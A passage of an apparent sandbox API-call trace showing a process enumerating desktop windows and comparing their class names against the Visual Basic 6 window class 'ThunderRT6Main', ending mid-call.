[0182.901] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0182.901] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.901] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.901] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.901] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0182.901] GetClassNameA (in: hWnd=0x10068, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.901] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.901] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.901] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x10118 [0182.901] GetClassNameA (in: hWnd=0x10118, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="#43") returned 3 [0182.901] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0182.901] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0182.901] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0182.901] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.901] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.901] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0182.901] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x2010a [0182.901] GetClassNameA (in: hWnd=0x2010a, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0182.901] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0182.901] GetWindowThreadProcessId (in: hWnd=0x2010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x614 [0182.901] GetWindow (hWnd=0x2010a, uCmd=0x2) returned 0x1010e [0182.901] GetClassNameA (in: hWnd=0x1010e, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.901] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.901] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x614 [0182.901] GetWindow (hWnd=0x1010e, uCmd=0x2) returned 0x10064 [0182.901] GetClassNameA (in: hWnd=0x10064, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0182.901] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0182.901] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.901] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0182.901] GetClassNameA (in: hWnd=0x10052, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0182.901] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0182.901] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0182.901] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0182.901] GetClassNameA (in: hWnd=0x10054, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.901] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.901] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0182.901] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0182.901] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0182.901] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0182.902] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.902] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0182.902] GetClassNameA (in: hWnd=0x10044, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0182.902] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0182.902] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0182.902] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0182.902] GetClassNameA (in: hWnd=0x20040, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0182.902] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0182.902] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0182.902] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x3003e [0182.902] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0182.902] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0182.902] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x454 [0182.902] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x20024 [0182.902] GetClassNameA (in: hWnd=0x20024, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.902] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.902] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7f4 [0182.902] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20020 [0182.902] GetClassNameA (in: hWnd=0x20020, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0182.902] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0182.902] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7f4 [0182.902] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x101de [0182.902] GetClassNameA (in: hWnd=0x101de, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0182.902] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0182.902] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0182.902] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -1946157056 [0182.902] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0182.902] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0182.902] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x201aa [0182.902] GetClassNameA (in: hWnd=0x201aa, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.903] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.903] GetWindowThreadProcessId (in: hWnd=0x201aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0182.903] GetWindowLongA (hWnd=0x201aa, nIndex=-16) returned -1946157056 [0182.903] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13fc00000 [0182.903] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13fc00000 [0182.903] GetWindow (hWnd=0x201aa, uCmd=0x2) returned 0x1021c [0182.903] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="OpusApp") returned 7 [0182.903] lstrcmpA (lpString1="OpusApp", lpString2="ThunderRT6Main") returned -1 [0182.903] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0182.903] GetWindowLongA (hWnd=0x1021c, nIndex=-16) returned 919535616 [0182.903] GetWindowLongPtrA (hWnd=0x1021c, nIndex=-6) returned 0x7fef05d0000 [0182.903] GetWindowLongPtrA (hWnd=0x1021c, nIndex=-6) returned 0x7fef05d0000 [0182.903] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x70216 [0182.903] GetClassNameA (in: hWnd=0x70216, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0182.903] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0182.903] GetWindowThreadProcessId (in: hWnd=0x70216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0182.903] GetWindow (hWnd=0x70216, uCmd=0x2) returned 0x100ee [0182.903] GetClassNameA (in: hWnd=0x100ee, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0182.903] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0182.903] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0182.903] GetWindow (hWnd=0x100ee, uCmd=0x2) returned 0x0 [0182.903] IMalloc:Alloc (This=0x7feff045380, cb=0x18) returned 0xd80e240 [0182.934] IMalloc:Free (This=0x7feff045380, pv=0xd80e240) [0183.481] GetCurrentThreadId () returned 0x924 [0183.481] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0183.481] GetDesktopWindow () returned 0x10010 [0183.481] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10056 [0183.481] GetClassNameA (in: hWnd=0x10056, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0183.481] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0183.481] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.481] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0183.481] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.481] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.481] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.482] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10076 [0183.482] GetClassNameA (in: hWnd=0x10076, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.482] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.482] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.482] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0183.482] GetClassNameA (in: hWnd=0x10074, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.482] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.482] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.482] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0183.482] GetClassNameA (in: hWnd=0x10060, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.482] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.482] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.482] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0183.482] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.482] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.482] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.482] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0183.482] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.482] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.482] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.482] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0183.482] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.482] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.482] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.482] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0183.482] GetClassNameA (in: hWnd=0x10078, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.483] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.483] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.483] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10058 [0183.483] GetClassNameA (in: hWnd=0x10058, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0183.483] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0183.483] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.483] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0183.483] GetClassNameA (in: hWnd=0x10050, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0183.483] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0183.483] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.483] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0xa00fa [0183.483] GetClassNameA (in: hWnd=0xa00fa, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0183.483] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0183.483] GetWindowThreadProcessId (in: hWnd=0xa00fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0183.483] GetWindowLongA (hWnd=0xa00fa, nIndex=-16) returned -1912602624 [0183.483] GetWindowLongPtrA (hWnd=0xa00fa, nIndex=-6) returned 0x0 [0183.483] GetWindowLongPtrA (hWnd=0xa00fa, nIndex=-6) returned 0x0 [0183.483] GetWindow (hWnd=0xa00fa, uCmd=0x2) returned 0x5011e [0183.483] GetClassNameA (in: hWnd=0x5011e, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0183.483] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0183.483] GetWindowThreadProcessId (in: hWnd=0x5011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0183.483] GetWindowLongA (hWnd=0x5011e, nIndex=-16) returned -1912602624 [0183.483] GetWindowLongPtrA (hWnd=0x5011e, nIndex=-6) returned 0x0 [0183.483] GetWindowLongPtrA (hWnd=0x5011e, nIndex=-6) returned 0x0 [0183.483] GetWindow (hWnd=0x5011e, uCmd=0x2) returned 0x40114 [0183.483] GetClassNameA (in: hWnd=0x40114, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0183.483] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0183.483] GetWindowThreadProcessId (in: hWnd=0x40114, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0183.484] GetWindowLongA (hWnd=0x40114, nIndex=-16) returned -1912602624 [0183.484] GetWindowLongPtrA (hWnd=0x40114, nIndex=-6) returned 0x0 [0183.484] GetWindowLongPtrA (hWnd=0x40114, nIndex=-6) returned 0x0 [0183.484] GetWindow (hWnd=0x40114, uCmd=0x2) returned 0x101ee [0183.484] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0183.484] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0183.484] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0183.484] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -1912602624 [0183.484] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0183.484] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0183.484] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x10144 [0183.484] GetClassNameA (in: hWnd=0x10144, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="ATL:000007FEF48D52C0") returned 20 [0183.484] lstrcmpA (lpString1="ATL:000007FEF48D52C0", lpString2="ThunderRT6Main") returned -1 [0183.484] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5fc [0183.484] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x1013e [0183.484] GetClassNameA (in: hWnd=0x1013e, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.484] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.484] GetWindowThreadProcessId (in: hWnd=0x1013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x69c [0183.484] GetWindow (hWnd=0x1013e, uCmd=0x2) returned 0x1013c [0183.484] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0183.484] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0183.484] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x69c [0183.484] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x200d0 [0183.484] GetClassNameA (in: hWnd=0x200d0, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.484] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.484] GetWindowThreadProcessId (in: hWnd=0x200d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.484] GetWindow (hWnd=0x200d0, uCmd=0x2) returned 0x200d8 [0183.484] GetClassNameA (in: hWnd=0x200d8, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.485] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.485] GetWindowThreadProcessId (in: hWnd=0x200d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.485] GetWindow (hWnd=0x200d8, uCmd=0x2) returned 0x200e2 [0183.485] GetClassNameA (in: hWnd=0x200e2, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.485] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.485] GetWindowThreadProcessId (in: hWnd=0x200e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.485] GetWindow (hWnd=0x200e2, uCmd=0x2) returned 0x200e8 [0183.485] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0183.485] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0183.485] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.485] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x100f6 [0183.485] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.485] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.485] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0183.485] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009c [0183.485] GetClassNameA (in: hWnd=0x5009c, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.485] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.485] GetWindowThreadProcessId (in: hWnd=0x5009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.485] GetWindow (hWnd=0x5009c, uCmd=0x2) returned 0x1008c [0183.485] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0183.485] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0183.485] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.485] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x40112 [0183.485] GetClassNameA (in: hWnd=0x40112, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="OfficeTooltip") returned 13 [0183.485] lstrcmpA (lpString1="OfficeTooltip", lpString2="ThunderRT6Main") returned -1 [0183.486] GetWindowThreadProcessId (in: hWnd=0x40112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0183.486] GetWindowLongA (hWnd=0x40112, nIndex=-16) returned -2080374784 [0183.486] GetWindowLongPtrA (hWnd=0x40112, nIndex=-6) returned 0x7feed320000 [0183.486] GetWindowLongPtrA (hWnd=0x40112, nIndex=-6) returned 0x7feed320000 [0183.486] GetWindow (hWnd=0x40112, uCmd=0x2) returned 0x101de [0183.486] GetClassNameA (in: hWnd=0x101de, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0183.486] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0183.486] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0183.486] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -1946157056 [0183.486] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0183.486] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0183.486] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x201aa [0183.486] GetClassNameA (in: hWnd=0x201aa, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.486] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.486] GetWindowThreadProcessId (in: hWnd=0x201aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0183.486] GetWindowLongA (hWnd=0x201aa, nIndex=-16) returned -1946157056 [0183.486] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13fc00000 [0183.486] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13fc00000 [0183.486] GetWindow (hWnd=0x201aa, uCmd=0x2) returned 0x30258 [0183.486] GetClassNameA (in: hWnd=0x30258, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="#32770") returned 6 [0183.486] lstrcmpA (lpString1="#32770", lpString2="ThunderRT6Main") returned -1 [0183.486] GetWindowThreadProcessId (in: hWnd=0x30258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0183.486] GetWindowLongA (hWnd=0x30258, nIndex=-16) returned -1798831675 [0183.486] GetWindowLongPtrA (hWnd=0x30258, nIndex=-6) returned 0x7feeb8f0000 [0183.486] GetWindowLongPtrA (hWnd=0x30258, nIndex=-6) returned 0x7feeb8f0000 [0183.486] GetWindow (hWnd=0x30258, uCmd=0x2) returned 0x201bc [0183.486] GetClassNameA (in: hWnd=0x201bc, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="OpusApp") returned 7 [0183.486] lstrcmpA (lpString1="OpusApp", lpString2="ThunderRT6Main") returned -1 [0183.486] GetWindowThreadProcessId (in: hWnd=0x201bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0183.486] GetWindowLongA (hWnd=0x201bc, nIndex=-16) returned 1053753344 [0183.486] GetWindowLongPtrA (hWnd=0x201bc, nIndex=-6) returned 0x7fef05d0000 [0183.486] GetWindowLongPtrA (hWnd=0x201bc, nIndex=-6) returned 0x7fef05d0000 [0183.486] GetWindow (hWnd=0x201bc, uCmd=0x2) returned 0x10106 [0183.486] GetClassNameA (in: hWnd=0x10106, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0183.486] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0183.486] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0183.486] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10042 [0183.487] GetClassNameA (in: hWnd=0x10042, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.487] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.487] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0183.487] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1301b2 [0183.487] GetClassNameA (in: hWnd=0x1301b2, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0183.487] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0183.487] GetWindowThreadProcessId (in: hWnd=0x1301b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x788 [0183.487] GetWindow (hWnd=0x1301b2, uCmd=0x2) returned 0x201a6 [0183.487] GetClassNameA (in: hWnd=0x201a6, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.487] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.487] GetWindowThreadProcessId (in: hWnd=0x201a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x788 [0183.487] GetWindow (hWnd=0x201a6, uCmd=0x2) returned 0x101fe [0183.487] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="OpusApp") returned 7 [0183.487] lstrcmpA (lpString1="OpusApp", lpString2="ThunderRT6Main") returned -1 [0183.487] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0183.487] GetWindowLongA (hWnd=0x101fe, nIndex=-16) returned 131006464 [0183.487] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x7fef05d0000 [0183.487] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x7fef05d0000 [0183.488] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101fc [0183.488] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0183.488] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0183.488] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0183.488] GetWindowLongA (hWnd=0x101fc, nIndex=-16) returned -1946157056 [0183.488] GetWindowLongPtrA (hWnd=0x101fc, nIndex=-6) returned 0x7fee3ce0000 [0183.488] IsWindowEnabled (hWnd=0x101fc) returned 0 [0183.488] GetPropA (hWnd=0x101fc, lpString=0xc033) returned 0x1 [0183.488] RemovePropA (hWnd=0x101fc, lpString=0xc033) returned 0x1 [0183.488] EnableWindow (hWnd=0x101fc, bEnable=1) returned 1 [0183.488] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101f8 [0183.488] GetClassNameA (in: hWnd=0x101f8, 